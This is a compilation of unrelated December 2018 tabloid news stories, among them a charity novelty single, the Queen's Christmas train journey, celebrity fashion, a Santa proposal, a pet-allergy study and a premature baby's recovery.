did it I felt like a cow with udders,' Giovanna confessed this week A dad blogger from Nottingham could be set to beat US singing sensations Ariana Grande and Ava Max to the Christmas Number One, after releasing a novelty single in the hope of raising a bit of money for charity. YouTuber Mark Hoyle, 31, from West Bridgford, Nottingham - known as LadBaby - has unexpectedly stormed up the charts with 'We Built This City...On Sausage Rolls', a parody of the 1985 Starship song. He is currently at number two in the official midweek charts with his release, which currently has 16,754 combined streams and sales, ahead of Ariana Grande's Thank U, Next, but 978 behind Ava Max's 'Sweet but Psycho.' It's all the more remarkable as Mark, who is donating all profits to The Trussell Trust, which runs food banks around the UK, has never sung before in his life - even at karaoke - and initially recorded the single as a joke. 'Im not someone that sings in the shower, which everyone can probably hear if theyve listened to the song,' the father-of-two told Femail. 'There's no doubting my voice isnt quite as good as Arianas, but if we can knock a megastar off the top spot with a sausage roll and raise money for charity at the same time, then brilliant.' Mark Hoyle, from Nottingham, is in a three-way race against alongside Ariana Grande and Ava Max for the Christmas number one. He has released a parody song called 'We Built This City on Sausage Rolls,' with proceeds going to The Trussell Trust - which aims to stop hunger in the UK The comical dad blogger, pictured with his son Phoenix, two, gained millions of fans after posting Ladbaby videos of the antics of being a first-time parent And he hasn't got long to wait to find out if he's joining the likes of The Beatles and The Spice Girls in achieving a Christmas number one, as the chart topper will be announced tomorrow. Mark and his wife Roxanne have amassed more than 470,000 followers on YouTube by chronicling the trials and tribulations of raising their sons Phoenix Forest and Kobe Notts. They share hilarious videos about parenting and budgeting on YouTube, Facebook and other social media platforms. And the idea for the charity single all started as a joke, too. 'About six months ago, someone who follows my LadBaby blog and knew my love for sausage rolls tweeted me as a joke,' explained Mark. The parody song which is in the running against Ariana Grande and Ava Max to be the festive number one In the video, Mark's unsuspecting wife Roxanne looks shocked to find him behind a microphone, before exclaiming: 'You can't sing!' Then she joins in the fun 'He was like, one day you should release this song. I just laughed it off but then downloaded the original version and started playing it for my little boy Phoenix, who was two at the time. He loved it. I thought, if hes up for it, then so am I. It just snowballed from there. In the video for 'We Built this City...On Sausage Rolls', Mark's unsuspecting wife Roxanne walks into a recording to find him behind the microphone. 'You can't sing!' she exclaims, to which he replies: 'Don't worry about that we'll tune it or whatever!'. Singing about one of the public's favourite pastries, the lyrics include: 'If you've never had one, And don't recognise the taste. 'It's a cylindrical bit of pork wrapped, In a puff pastry case.' American singing sensation Ariana Grande is in the three-way race for the festive crown with her release 'Thank U, Next' But while the whole concept of singing about a sausage roll may be a joke, the charity single comes with a serious message. There are 14 million people in the UK live below the poverty line. 4 million of these are children,' reads the shocking statistics which flash up on the screen. And the profits are being donated to The Trussell Trust - which aims to stop hunger in the UK. It's a charity very close to Mark's heart. About two years ago, when we first became parents, we had to go down to a single-parent income,' said the blogger. Ava Max is currently top of the midweek charts - but can Mark knock her off that number-one spot just in time for Christmas? 'It was something we wasnt prepared for. We really did struggle for a long while. We never actually used a food bank but we were on the verge and had to do some research into it. Thankfully we were fortunate not to ever need one, but we know what its like trying to struggle to make ends meet.' While celebrities haven't got in touch to share their support, Mark's been overwhelmed by the positive reaction he's received from the public. 'We dont need celebritieswell do this with the people, he said. Mark's amused wife Roxanne joins in the song - along with their sons Phoenix Forest and Kobe Notts And no matter what the outcome tomorrow, Mark and Roxanne will be celebrating. 'Today Ive been the most popular Ive ever been in my life,' Mark joked. 'Whatever the result, my wife will make us get a takeaway. She loves that any excuse. 'Ill no doubt have a fridge full of sausage rolls because anyone I meet has given me one. 'Were going to have a lot of eating and well put the kids to bed and pop open some bubbly to celebrate. The comedy family blogger poses on a piano while chowing down on a sausage roll, while his wife Roxanne starts to hit some keys Advertisement What a difference a day makes. Yesterday the Queen hosted the extended royal family for a lavish Christmas lunch at Buckingham Palace. Today she was mingling with the masses as she boarded a regular train service, albeit with a first class ticket. The 92-year-old monarch travelled alone - although flanked by a team of security staff - as she caught the train up to King's Lynn station in Norfolk from London. The Duke of Edinburgh, 97, who spends much of his time in Windsor and is likely to have returned there following the festive family gathering yesterday, is believed to be travelling separately again to Sandringham this year, as he did in 2017. Flashing a smile at waiting photographers, the Queen appeared in good spirits as she prepares to bring her close family together this yuletide. Her arrival at the royal estate in Sandringham marks the beginning of her traditional festive break and will see her welcome both the Duke and Duchess of Cambridge and the Duke and Duchess of Sussex, as rumours continue to swirl over tensions between the two couples. Christmas starts here! Travelling alone but with a team of protection officers close by, the Queen arrived in King's Lynn this morning as her annual Christmas break at Sandringham beginning in earnest. Travelling first class, the Queen boarded a regular London to King's Lynn service with ordinary passengers Yuletide journey: The Queen joined members of the public making their own Christmas escapes. The 92-year-old monarch will host the close royal family at Sandringham including the Cambridges and Sussexes, who have been dogged by rumours of a rift between couples in recent weeks One's briefcase! An aide was spotted carrying a well-worn black leather briefcase with red stitching with two labels attached to it, one which clearly read 'The Queen' Festive cheer! Wearing a Burberry head scarf, dark camel coat and pink lipstick, the Queen looked warm as she made the journey north; it's likely the Duke of Edinburgh will travel to Sandringham by car Alongside the labelled briefcase, there was a festive-looking red leather bag, topped with a posie of bright red flowers The Queen, following previous years, arrived on a scheduled train service into Norfolk from London alongside fellow rail travellers making their way home for the festive period As the train pulled into the station and stopped at platform 2, the Queen was spotted onboard in the first class carriage, wearing dark glasses as she prepared to disembark Mind the gap! Alongside regular travellers, the Queen stepped off the train. Looking in jolly spirits, the Queen was closely followed by an aide, who carried her personal briefcase - labelled the Queen - and a woolen scarf that matched her headwear An extensive team of police officers and close protection officers were seen combing platform 2 ahead of the monarch's arrival. Bemused bystanders - including a group of teenagers - appeared unaware that the 92-year-old would be arriving imminently. As the train pulled into the platform, the monarch could be seen in the window seat, with a bodyguard sat close by. Wearing a pair of dark glasses in the bright Norfolk sunshine, the 92-year-old took off her headscarf for the journey and disembarked with an aide, who carried her briefcase, clearly labelled with 'The Queen', a Burberry woolen scarf and a festive-looking red bag. The sight of the Queen on a draughty platform is a far cry from yesterday, when the monarch welcomed the extended royal clan, including her great-grandchildren Prince George and Princess Charlotte to the traditional seasonal lunch at Buckingham Palace. With a pair of warm black gloves and her favoured black leather handbag, the 92-year-old casually strolled along the platform and into an awaiting royal car as her festive break began A colourful-looking dress could be seen under the Queen's camel coat. Fellow passengers appeared to not quite believe their eyes as the monarch strolled down the platform with them toward the station exit Security: Police officers, carrying cups of coffee, were seen ensuring the safety of the station at King's Lynn ahead of the Queen's arrival this morning Sniffer dogs helped police officers make final checks of platform 2 before the train arrived around 11am today VIP arrival! Bystanders - including a group of teens - looked on as they waited for their train, apparently unaware that the monarch was about to disembark at their station Travelling companion: With the Duke of Edinburgh likely to be making the journey to Sandringham by car, the Queen sat with a close protection officer on the train Taking her scarf off to travel in comfort, the monarch wore a pair of dark glasses to keep out the morning sunshine as she took a window seat on the train. Her hair appeared neatly coiffured Carrying a smart black leather handbag, the Queen arrives on the platform. The 92-year-old monarch looked in pensive mood as she arrived alone for her Christmas break - she will be joined by close family at Sandringham including the Duke and Duchess of Cambridge and Prince Harry and Meghan Yesterday the Queen hosted her traditional annual Christmas lunch, hosting the extended royal family for the grandiose affair at Buckingham Palace Salve: The Queen will be hoping she can bring her close family together this Christmas amid fears of a growing rift between the Duke and Duchess of Cambridge and the Duke and Duchess of Sussex The family gathering at the Palace takes place shortly before the royal family head to Sandringham for the 25th. The Queen and her family usually wait until the day before Christmas to decorate their tree at Sandringham House in Norfolk, gathering in the White Drawing Room on Christmas Eve to put the finishing touches to a 20ft tree cut from the estate. This year, the Duke and Duchess of Cambridge, along with George, Charlotte, and Louis, will be celebrating Christmas this year in Norfolk, despite previous reports that they would be spending the day with the Middletons. It comes amid rumours of a rift between the Cambridges and Sussexes, following the announcement Meghan and Harry will be moving away from Kensington Palace to Frogmore Cottage in Windsor next year. The holidays may be just around the corner, but fashion star Irina Shayk certainly isn't using that as an excuse to slack this festive season - quite the opposite in fact. The model and mother-of-one has been named as the newest face of Marc Jacobs Beauty, appearing in a stunning campaign image for the brand - just days after she starred alongside Bella Hadid in a shoot for Versace. In the Marc Jacobs image - which is the first to be released from the upcoming campaign - Irina, 32, shows off her incredible bone structure, flaunting her high cheek bones and plump pout as she stares into the camera lens. Strike a pose: Irina Shayk appears in a stunning new campaign for Marc Jacobs Beauty Getting ready: The 32-year-old modeled a vibrant purple makeup look in the image, which was created by beauty pro Diane Kendal And unlike her Versace campaign, which saw her posing with her brunette locks tossed around her shoulders and face, the Marc Jacobs image features Irina with her hair pulled back in a tight updo away from her face - so as to better showcase the striking beauty look. Get the look: Irina modeled the Eye-Conic Multi-Finish Eyeshadow Palette in Frivoluxe in the campaign image Irina appears completely topless in the shot, wearing nothing but her fierce purple makeup look, and a large floral-inspired hat that perfect coordinates with the bright, bold shadow on her lids. Her makeup look for the shoot was created by artist Diane Kendal, who used an array of products from the brand in order to create something vibrant and colorful, including the Eye-Conic Multi-Finish Eyeshadow Palette in Frivoluxe, which was the source of Irina's bold lid look. To ensure the model looked as glowing as possible, Diane then added the O!mega Bronze Perfect Tan in Tan-Tastic to her skin. According to Marc Jacobs Beauty, the campaign features other images that will be debuted in January, when the images make their debut in a Sephora store in Irina's native Russia as part of the brand's efforts to celebrate its expansion into the country. And, when it came to choosing someone to help the beauty label in its latest endeavor, its VP of Marketing, Tara Loftis, said Irina was the perfect choice. 'When we entered Russia earlier in the year, we knew we wanted to have someone who inherently matched the beauty and strength of the region,' she explained. She's a busy girl! The Marc Jacobs campaign debuted just days after Irina featured in a shoot for Versace, modeling a rather more ferocious look 'Irina was a natural choice, and we're thrilled to add her to the group of impressive women who have represented Marc Jacobs Beauty.' As for Irina, who joins the likes of Kaia Gerber, Winona Ryder and Jessica Lange as a face of the much-loved label, she admitted she was thrilled to have been asked to represent Marc Jacobs Beauty in her home country. 'I've loved and admired Marc for his wonderful fashions and overarching vision of beauty,' she said. 'It's such an honor to represent Marc Jacobs Beauty in my home country.' Irina's Marc Jacobs Beauty debut comes just days after she appeared in a bold campaign for Versace, starring alongside the likes of Bella Hadid and Shalom Harlow. However the model's Versace shoot was a world away from the new Marc Jacobs image; while her latest campaign focused on bright, bold colors, her previous shoot saw her posing up in a fierce all-black look. In the Versace snap, Irina could be seen modeling a black silk slip dress, layered bracelets and rings, and a quilted black bag. And as well as her commitments in front of the camera, Irina is also keeping busy away from the studio; the model gave birth to her first child with boyfriend Bradley Cooper on March 21, 2017, after two years together. The couple, who named their daughter Lea de Seine Shayk Cooper, were seen on a family outing in Los Angeles on Tuesday night, with actor Bradley happily throwing his daughter into the air while her mother looked on with a slightly concerned look on her face. The charity cookbook created by The Duchess of Sussex to benefit victims of the Grenfell Tower disaster has been nominated for a prestigious book prize. Together: Our Community Cookbook is among nine food titles shortlisted for the Andre Simon Food & Drink Book Awards, it has been announced. The book, Meghan's first solo royal project, features 50 of the Duchess' favourite recipes created by women from Grenfell's 'Hubb Community Kitchen', set up in the wake of the devastating blaze in June last year. The charity cookbook created by The Duchess of Sussex and Grenfell Tower volunteers has been nominated for a book prize after it sold 38,811 copies within two months of its September release It is going up against established food and drink figures, including Diana Henry and Oz Clarke, for the award. The winner will receive a 2,000. According to The Bookseller, Chair of the Andre Simon Memorial Fund Nicholas Lander said: 'The shortlist features established food and drink figures, including Diana Henry and Oz Clarke, alongside first-time authors Ben Lebus and James and Tom Morton. 'The diverse publications range from a portrait of a pie and mash restaurant in East London to an exquisitely photographed homage to the world's finest teas. 'This reflects a vibrant and dynamic food and drink book industry which our awards have been celebrating for 40 years.' Meghan Markle came up with the idea to raise money for those affected by the tragic blaze in West London There are nine titles shortlisted in the food category and six in the drinks category. Food writer Meera Sodha and wine expert Victoria Moore helped judges select 15 finalists from 150 entries. Together: Our Community Cookbook was released in September The annual awards will this year celebrate their 40th anniversary, after being set up in 1978 in memory of leading wine trader Andre Louis Simon, who died in 1970. The winners will be announced at a ceremony at the Goring Hotel in London on 5 February 2019. The winners in each category will receive 2,000 and each shortlisted author receives 200. The cookbook was Meghan's first solo project since joining the Royal Family. The duchess, 37, came up with the idea for a book in aid of those affected by the Grenfell Tower tragedy, which killed 72 people, after secretly visiting the Al Manaar Muslim cultural heritage centre. Meghan met women from The Hubb Community Kitchen who were using recipes passed down through generations to cater for families made homeless by the fire. It was this which gave her the inspiration for the book. Of her first visit, she said: 'An apron was quickly wrapped around me, I pushed up my sleeves, and I found myself washing the rice for lunch.' A report at the end of November found that the 9.99 collection of recipes had already sold 38,811 copies since it was published in late September, totaling 372,374, according to figures obtained by data analyst Nielsen The duchess, 37, came up with the idea for a book in aid of those affected by the Grenfell Tower tragedy, which killed 72 people, after secretly visiting the Al Manaar Muslim cultural heritage centre In the foreword to the book, she wrote: 'I immediately felt connected to this community kitchen; it is a place for women to laugh, grieve, cry and cook together.' Sales of the cookbook reached number one on the Amazon chart within hours of its publication. A report at the end of November found that the 9.99 collection of recipes had already sold 38,811 copies since it was published in late September, totaling 372,374, according to figures obtained by data analyst Nielsen. The money from the community cookbook has helped transform the facility, which is based in north Kensington, with a redesigned and refitted kitchen. The book is supported by The Royal Foundation and published by Penguin Random House. Andre Simon Food & Drink Book Awards Food finalists Black Sea by Caroline Eden (Quadrille Publishing) First, Catch by Thom Eagle (Quadrille Publishing) How to Eat a Peach by Diana Henry (Mitchell Beazley) Lateral Cooking by Niki Segnit (Bloomsbury Publishing) MOB Kitchen by Ben Lebus (Pavilion Books) Pasta, Pane, Vino by Matt Goulding (Hardie Grant Publishing) Pie and Mash Down the Roman Road by Melanie McGrath (Two Roads) Shetland by James & Tom Morton (Quadrille Publishing) Together by The Hubb Community Kitchen (Ebury Press) Advertisement Ivanka Trump showed off her preppy side on Thursday as she stepped out of her Washington, D.C. home in an embroidered argyle sweater. The 37-year-old first daughter paired the $1,295 gray and black Michael Kors sweater with a ruffle hem pencil skirt that fluttered as she walked towards the Secret Service vehicle parked outside at about 9:30 a.m. Despite the early morning chill, Ivanka shunned tights and opted to keep her legs bare, topping off her outfit with a pair of classic black stilettos. On the go: Ivanka Trump, 37, was seen leaving her Washington, D.C. a little before 9:30 a.m. on Thursday morning Outfit of the day: The first daughter donned a $1,295 Michael Kors embroidered argyle sweater and ruffle hem pencil skirt Taking work with her: The White House senior adviser looked a bit like a stylish teacher as she headed to work carrying a binder filled with papers under her arm The White House senior adviser looked a bit like a stylish teacher as she headed to work carrying a binder filled with papers under her arm and a $3,400 black Chanel bag. Ivanka's poker-straight blonde hair was center-parted and loose around her shoulders, and she sported smokey eye makeup and a natural pink lip. Drop pearl earrings peeked from underneath her hair, and she wore a red string bracelet on her left wrist. Although she hasn't spoken about the purpose of the string, it does bear a resemblance to the type of red string that Kabbalah practitioners wear to ward off the 'evil eye.' Ivanka had a bright smile on her face as she made the quick walk from her bottom gate to the SUV outside of her home. A few hours later, the mother-of-three was seen chatting to Senate Majority Leader Mitch McConnell in the Eisenhower Executive Office Building shortly before her father President Trump signed the Agriculture Improvement Act of 2018. Ivanka, who was still wearing the same argyle sweater and black skirt, looked delighted to be involved, smiling happily as she and Mitch spoke to one another. Accessories: Ivanka topped off her outfit with a pair of classic black stilettos and a $3,400 black Chanel handbag Working: The mother-of-three was later pictured talking to Senate Majority Leader Mitch McConnell in the Eisenhower Executive Office Building Getting along: Ivanka and Mitch were seen chatting happily shortly before President Trump signed the Agriculture Improvement Act of 2018 Her husband, White House Senior adviser Jared Kushner, was seen heading to work about two hours earlier at 7:30 a.m. The 37-year-old, who wore a navy wool coat over his suit, also had a smile on his face as he walked down the front steps of their home. The couple may be in good spirits because they are looking forward to their holiday vacation, which is only days away. Ivanka, who was raised Christian, converted to Judaism in 2009 to marry Jared, who is an Orthodox Jew. Although they don't celebrate Christmas, Ivanka, Jared, and their three children traveled to her father's Mar-a-Lago estate in Palm Beach, Florida, last year to be with her family over the holiday break. Early bird: Ivanka's husband, White House senior adviser Jared Kushner, was seen leaving their home about two hours earlier at 7:30 a.m. In good spirits: Jared, 37, also had a bright smile on his face as he headed to work on Thursday President Donald Trump is slated to spend 16 days at Mar-a-Lago this year, and it is likely that Ivanka will make an appearance there as well. It is already shaping up to be a busy 2019 for Ivanka and Jared, who are heading to Davos, Switzerland, in January to attend the annual meeting of the World Economic Forum with the president. The conference, which takes place from January 22 to 25 this year, draws a combination of world leaders, celebrities, and titans to the picturesque mountain town. The trip will mark Trump's second year in a row there, although it is unclear with his wife, Melania Trump, will be joining him in Switzerland. The first lady was scheduled to attend the last gathering but canceled her trip after reports broke of the president's affair Stormy Daniels. Trump denied the allegation but has been plagued by it ever since the adult film star has sued to be released from the non-disclosure she signed during the 2016 presidential election. Jared was with his father-in-law and other members of the Trump administration at the last conference, but Ivanka was not in attendance. Santa Claus finally popped the question to Mrs. Claus this month. One might point out that the fictional couple has already been married for many years, but this particular Santa played by St. George, Utah resident Troy Dean Thode and his Mrs. Claus played by Cheryl Turnbeaugh Hawker have yet to actually tie the knot, despite knowing each other for 40 years. So when Troy, 53, finally got down on one knee this December while the pair was dressed in red and white and ready for the North Pole, it was a moment bursting with Christmas magic. Santa baby, forgot to mention one little thing a ring! A man dressed as Santa surprised his girlfriend, who was dressed as Mrs. Claus, by proposing this month The happy Christmas couple! Troy Thode popped the question to Cheryl Hawker while the pair was in costume A longstanding tradition: Troy has been dressing as Santa for events since he was 13, and this year he invited Cheryl to join him Bringing cheer! The two have been a hit at events around Saint George, Utah Troy and Cheryl first met 40 years ago, back in 1978, after each of their families moved to town and they enrolled at the same middle school. They became friends, and both had crushes on each other that lasted through middle school and high school yet they kept their feelings to themselves and never actually went out on a date. After high school graduation, the pair kept in touch, but still didn't get romantically involved. Each married and raised families of their own. Then, in the fall of 2018, they reconnected and realized that both were single and interested in each other. They started dating and fell in love. Meanwhile, Troy had also spent all of those years dressing up as Santa during the holidays. Since he was 13, he's played Mr. Claus ever year for various holiday events in the community. Before the North Pole... They actually first met in 1978 when they enrolled at the same middle school. Despite having crushes on one another, they never got together The two remained friends after graduation but each had their own families. This year, they reconnected and things finally sparked romantically Planning a surprise... Troy booked a holiday gig for them at a family party for photographer Alyssa Ence Get these guys some mistletoe! He traded their services for portfolio photos, which Alyssa took and Troy also planned the surprise proposal This year, he asked Cheryl to join in, playing the Mrs. Claus to his Mr. They appeared together on the first of the moth at a Dixie State University breakfast, and quickly booked more gigs as a duo. One person to hire them was photographer Alyssa Ence, who booked them for a family party. Keeping Cheryl in the dark, Troy spoke to Alyssa and offered to do the party for free if she took some professional photos of them. On the day of the party, Troy and Cheryl came to work, where they sat for photos with kids and took down their Christmas wishes. Troy looked jolly in his red suit with white trim and naturally bushy beard, and Cheryl was warm in her red velvet gown. While posing as a couple for a final snap, Troy got own on one knee and reached for his Santa bag, from which he pulled a red box. 'Mrs. Claus, will you marry me?' he asked, opening it to reveal a ring inside. Cheryl beamed and drew her hands to her face, as her eyes filled with tears. She said yes, and 'Santa' slid the ring on her finger. His bag of tricks... Cheryl had no idea what was going on when he reached into his bag and pulled out a red box Meet the Kringles! Down on one knee, he asked her to marry him and she was overcome with emotion as she said yes Look what the elves made! The two managed to find a magical love story 40 years after meeting, and 34 years after going their separate ways following high school graduation Kissin' Clauses! Spectators cheered as Santa proposed, and the couple kissed happily to celebrate Sleigh all day! The photographer has shared a photo of the charming moment on social media Georgian law enforcement agencies have opened cases against 26 people as part of an investigation into incidents related to the recent presidential elections, the Georgian Interior Ministry said. Police have opened inquiries into 25 counts of possible irregularities committed on November 28, when the second round of the presidential elections was held, and in the following period, it said, adding that criminal investigations have been opened on two counts. Among the individuals being prosecuted are both supporters of the ruling party Georgian Dream and the opposition, Interfax reported. Independent candidate supported by Georgian Dream Salome Zourabichvili won the second round of the presidential elections in Georgia. The Georgian opposition have refused to recognize the official outcome of the elections and announced the start of protests. Some opposition supporters clashed with police on the day of Zourabichvili's inauguration ceremony in Telavi. The Swedish royals have been busy preparing for Christmas over the past week. But this evening the royals went from festive to formal as they attended the annual Swedish Academy meeting at the Stock Exchange in Stockolm. Crown Princess Victoria, 41, looked typically elegant in a full length blue velvet dress this evening. She wore her brunette locks, as she typically does, in a low chignon and carried a box clutch also in a blue velvet. Crown Princess Victoria of Sweden looked typically elegant in blue velvet as she and husband Prince Daniel attended the annual Swedish Academy meeting Leading the way this evening was Queen Silvia, 74, and husband King Carl Gustaf, 72 She was accompanied by her husband Prince Daniel, 45, who looked his dapper best in a full tux. Leading the way this evening was Queen Silvia, 74, who is the longest serving queen of Sweden. The monarch wrapped up against the December chill in an enormous fur coat as she was accompanied by King Carl Gustaf, 72, who wore a coat and tails. All of the royal women teamed their outfits with the sash and star of the Order of the Seraphim and the family order of King Carl Gustaf. Victoria wore her brunette locks, as she typically does, in a low chignon and carried a box clutch also in a blue velvet Both she and her mother could be seen wearing sash and star of the Order of the Seraphim and the family order of King Carl Gustaf The annual event this evening concludes the working year by celebrating its formal assembly with a public gathering at the Stock Exchange The event this evening is always held in the run-up to Christmas and the family gets together to attend the Formal Gathering. The Swedish Academy was originally founded in 1786 by King Gustav III. Its purpose is to work upon purity, strength and sublimity of the Swedish language. The Academy annually appoints the recipient of several awards and scholarships, including deciding who will be the laureate for the Nobel Prize in Literature. The Swedish Academy concludes the working year by celebrating its formal assembly with a public gathering at the Stock Exchange on 20 December at 17:00. Queen Silvia, who will turn 75 on December 23, wrapped up from the chill in an enormous fur coat this evening We are unlikely to see members of the Swedish royal family again before Christmas as they wind down their engagements for the festive break King Gustaf III issued strict directions for the ceremony, which are still followed in all essentials. We are unlikely to see members of the Swedish royal family again before Christmas as they wind down their engagements for the festive break. Much like the Queen's Christmas Day speech, the Swedish royal family release a Christmas message a few days ahead of the big day where they reflect on the year that's gone and the one ahead. On 23rd the family celebrate the birthday of Queen Silvia, who will turn 75 on Sunday, with a German fruit cake served in a nod towards her heritage. Playboy has cast its first ever model with a shaved head as she reveals in an interview with the magazine that she has no intention to grow her hair out again. People might recognize Vendela Lindblom originally from Stockholm, Sweden by her cover on the video game Battleground 1. But now the model, who describes herself as 'that bald girl' on Instagram, has landed herself in Playboy magazine. In a profile with the magazine, the 23-year-old model explained how people often judge who she is based on the shaved head. Groundbreaking: Vendela Lindblom, 23, becomes the first model to ever pose for Playboy magazine with a shaved head Stunning: The model who is originally from Stockholm, Sweden will appear as the January 2019 issue's Playmate of the Month Beautiful: In a profile with the iconic magazine, Vendela revealed how people tend to think she is tougher than she actually is because of the shaved head 'People often paint a picture of me way before they even meet me,' she said in the profile. 'They think that I am a certain way because of my shaved head and tough look. Revealed: The January 2019 issue (pictured) will be the first time the magazine has hired a model with a shaved head 'In reality, I'm extremely shy. A friend once said, 'You look like a bada**, but deep inside you are as soft as baby shit.'' She was announced earlier this month as Playboy's January 2019 Playmate of the Month, making Vendela the first model to be featured inside the iconic publication with a shaved head. In an interview with The Blast, Vendela said she has no intentions to grow out her hair after shaving it off made her feel 'one hundred per cent sexier.' 'I haven't tried to grow it back ever since,' she told the publication. 'Honestly, I was just tired of looking like everybody else, and I had been thinking about it for a while before I decided to do it.' The moment where she shaved the hair off was described as 'liberating' for the model. 'I feel more empowered without the hair,' Vendela said. 'Before, I used to be so obsessed with my hair...Now I dont even have to think about it!' Although the model feels empowered with the shorter hair, she did admit to The Blast that she has been previously passed over for jobs by other women with long hair. Legs for days: Because of her shaved head, Vendela has previously been turned down for some jobs that have instead gone for models with long hair Piercing: 'I understand that my look isnt for everyone,' she told The Blast. 'Its important to stay positive, focus on your goal and power through.' Soaking in the sun: The shoot with Playboy brought Vendela out of her comfort zone, but she said she was happy to be involved in the process 'I understand that my look isnt for everyone,' she said. 'Its important to stay positive, focus on your goal and power through.' Throwback: Some people might recognize Vendela from when she modeled for the cover of a video game entitled Battlefield 1 That positive thinking and hard work must've done something right for Vendela as she was able to land the coveted Playmate title with Playboy for the upcoming issue. In her profile with Playboy magazine, Vendela described choosing to model for the publication as something that pulled her out of her comfort zone. 'Playboy is one of those risks that was out of my comfort zone and ended up being a great choice,' she said. The photo shoot involved Vendela getting nude, but she said she felt empowered by the entire experience with Playboy. 'We should be proud of our bodies,' she said. 'We all have the right to be naked and embrace the body as art.' To protect children from asthma and hayfever, parents may need to fill their house with pets. Every extra dog or cat in the house reduces a child's chance of getting an allergic disease by a fifth, a study has found. The danger is lowest for children who grow up with five or more pets, probably because of the bugs the animals carry. Scientists say a large number of pets may have a 'mini-farm' effect, as children who grow up close to cattle on farms also tend to have a lower risk of allergic conditions. Every extra dog or cat in the house reduces a child's chance of getting an allergic disease by a fifth, a study has found The microbes found on animals are believed to trigger an infant's immune system. Researchers studied more than 1,200 children aged seven to nine, recording how many pets they had in their first year of life and if they had asthma, eczema or hayfever. The results show children with no pets had a 49 per cent higher risk of these conditions, suggesting animals in the house could protect them. The study, led by Dr Bill Hesselmar from the University of Gothenburg, states: 'The prevalence of allergic disease in children aged seven to nine years is reduced in a dose-dependent fashion with the number of household pets living with the child during their first year of life, suggesting a 'mini-farm' effect, whereby cats and dogs protect against allergy development.' Cats and dogs carry microbes which may cause the immune system to function properly, so that it does not overreact to triggers like pollen. Researchers looked at children's medical records or questioned parents on whether they had ever suffered from hayfever, asthma or eczema. They also noted how many cats and dogs youngsters had lived with in their first year of life. The results, published in the journal PLOS One, show each additional pet cut a child's risk of an allergic condition by 20 per cent. This was the case for children clinically tested for the diseases and those whose parents reported they had them. The risk of ever having had an allergy was 49 per cent higher in families with no pets, but plummeted for those with five or more. The findings back up the 'hygiene hypothesis' that the immune system must be exposed to bugs so it is 'trained' to ignore harmless things like pollen and peanuts and people do not develop allergies. Dr Hesselmar said: 'Our hypothesis is that the protection is due to exposure to microbes and microbial products, i.e. the hygiene hypothesis, and that more animals will lead to increased exposure.' The study concludes: 'Most often research focus on identifying risk factors for allergy development. But in modern society, finding lifestyle factors that could protect from allergy has become equally important.' A couple are looking forward to celebrating their first Christmas with their 'miracle' baby who was born so small he fit in the palm of his mother's hand. Lucy Knight, 29, went into labour on July 12 - 13 weeks before her October 12 due date - with her boyfriend Dean Glover, 27, being forced to deliver their son Eli on their bathroom floor. Eli, who weighed just 1lbs 8oz (846g), nearly died several times after he suffered two brain bleeds in the first two weeks of his life. Despite pulling through, doctors warned Eli, of Ilminster, Somerset, would be permanently brain damaged and wheelchair bound for the rest of his life. But the brain bleeds got reabsorbed without treatment, with medics believing the now five-month-old will live a normal, healthy life. Eli (pictured left as a newborn in hospital) weighed just 1lbs 8oz when he arrived 13 weeks early. After being told he may not make it, the now five-month-old (pictured right with his mother Lucy Knight at home in Somerset) is set to celebrate his first Christmas Ms Knight and Eli's father Dean Glover (all pictured) call their son a 'miracle' and are looking forward to spending 'the best Christmas ever' at home as a family of three Mr Glover, who works in a supermarket, delivered Eli while being given instructions from doctors over the phone. BABIES ARE 'VIABLE' IF BORN AFTER 24 WEEKS Around eight per cent of babies are born prematurely, which is considered to be when they are born before the 37th week of a pregnancy. The standard expected length of a pregnancy is 40 weeks. The NHS considers babies to be 'viable' at 24 weeks or later into the pregnancy this means it's possible for them to survive being born from this point onwards. Babies can still legally be aborted in the UK until the 24th week of pregnancy. Babies born very early will need intensive care in a specialist neonatal hospital unit. They may have serious health problems particularly affecting the lungs and brain because they haven't had time to develop properly in the womb. Source: NHS Advertisement Speaking of the birth, Ms Knight said: 'I didn't know I was in labour at first. 'I went to hospital the day before and had stomach pains but I thought I was having a stomach bug. But the following morning I went to the loo and felt his head move. 'I was petrified. I kept saying it was too early, I couldn't look, I thought he was going to be born dead. Remarkably though, he was born crying.' Paramedics arrived shortly after and rushed Eli to hospital. Doctors quickly warned the new parents their son may not make it. After defying the odds to survive, medics then discovered he was bleeding in two parts of the brain and would inevitably have severe damage. 'Eli was tiny, he could fit in your hand he was so small,' Ms Knight, a full-time mother, said. 'He didn't look real.' 'For the first two weeks of his life we thought he was going to die. There were four or five times where we thought he wasn't going to make it.' But Eli's body reabsorbed the brain bleeds without the youngster requiring treatment. He then underwent two lumbar punctures - involves inserting a hollow needle between the bones of the spinal cord to collect fluid - which confirmed he was no longer bleeding. Eli's sudden arrival meant he was born in his parent's bathroom before being rushed to hospital where he was diagnosed with two brain bleeds within the first two weeks of his life (seen left). He was discharged 11 weeks later with no brain damage (pictured right recently at home) Pictured in hospital, Ms Knight said there were several times where she thought Eli would die Miraculously, doctors told Eli's parents he had no apparent brain damage and, after 11 weeks in hospital, the youngster was finally able to go home in October. 'He's nothing short of a miracle,' Ms Knight said. 'Eli will be five months old this Christmas and it's going to be magical to have him at home this year.' Mr Glover added: 'It means everything to us to have Eli home for Christmas. We weren't sure if he was going to be here and it'll be amazing that he's here with his family and not in hospital. 'It's going to be the best Christmas ever. Christmas is always special, but this year will be even more so after what happened.' The couple are sharing their story to give hope to other parents in similar situations. 'Last Christmas it was just Dean and I, and now there's three of us, it's mad,' Ms Knight said. 'We said last New Year's Eve "I wonder what we'll be doing this time next year", but we never imagined we'd have a baby just a few months later.' Pictured left as a newborn with his mother in hospital and right with his parents at home recently, Eli surprised everyone when he emerged without lasting brain damage A mother who risked her life to have a baby instead of undergoing cancer treatment has said she is the 'luckiest woman alive' ahead of Christmas. Vikki Jackson, 33, from Desborough, Northamptonshire, was 21 weeks pregnant with George when she was diagnosed with breast cancer. Doctors suggested Mrs Jackson, a paediatric nurse, abort her unborn child in order to have immediate surgery. However, the mother-of-three risked her life by stalling her treatment to give her unborn baby a chance at life. Mrs Jackson had a C-section eight weeks early, with both her and her son's life hanging in the balance, followed by immediate surgery and therapy. Both miraculously survived, and six months later, will spend their first Christmas together. Vikki Jackson, 33, from Desborough, Northamptonshire, risked her life to have her baby, George, instead of cancer treatment. She finished her treatment in November Mrs Jackson is grateful to be home for Christmas with husband Matthew, and her children Lily, eight, Rohan, six, and new arrival George, but hopes it won't be her last George, now six months old, was born via C-section eight weeks early. His mother put both their lives at risk to give her son a fighting chance at survival Mrs Jackson said: 'I feel like the luckiest woman alive 